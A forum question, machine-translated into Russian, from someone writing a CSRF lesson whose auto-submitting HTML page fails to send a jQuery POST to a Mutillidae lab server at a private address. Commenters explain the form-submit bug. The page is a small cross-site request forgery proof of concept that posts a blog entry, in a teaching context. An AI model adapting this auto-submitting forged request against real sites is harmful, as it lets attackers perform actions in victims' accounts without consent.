Я пытаюсь настроить базовый обработчик отправки ajax для изменения формы (я пишу урок по уязвимостям CSRF), но страница продолжает цикл. Вот пример кода, я ковырялся с, которая базируется на том, что из http://api.jquery.com/jQuery.post/:ajax POST handler looping
<!DOCTYPE html>
<html>
<body>
<form id="hidden_form" target="blahblah.com"> </form>
<script>
//Attach a submit handler to the form
$('#hidden_form').submit(function(event) {
//stop form from submitting normally
event.preventDefault();
//set new target for the form
var $form = $(this),
url = "http://192.168.101.250/mutillidae/index.php?page=add-to-your-blog.php&csrf-token=SecurityIsDisabled&blog_entry=example+text&add-to-your-blog-php-submit-button=Save+Blog+Entry"
//capture the response but do nothing with it
var posting = $.post(url);
});
</script>
<script>
$('#hidden_form').submit();
</script>
</body>
</html>
Когда я загрузить этот файл локально с моим браузером, переключатели вкладки между /path/to/file.html и «Соединение» очень быстро, но я знаю, что запрос никогда не отправляется, потому что у меня есть прокси-сервер, перехватывающий весь трафик, и он ничего не захватывает.
Так что я делаю неправильно? Я хочу, чтобы обработчик ajax отправил POST-запрос указанному URL-адресу, но он никогда не отправляется
EDIT: Я изменил второй скрипт, чтобы вызвать обработчик вместо фактической формы, но по-прежнему нет отправленного трафика на проводе?
Вы не остановили отправку формы по умолчанию, поэтому страница просто продолжает освежаться. (* Подсказка: HTMLFormElement.submit() обходит jQuery связанные события отправки *) –
does "event.preventDefautl()" не останавливает форму по умолчанию от отправки? – Kdawg
Это было бы, если бы этот обработчик событий когда-либо вызывался. –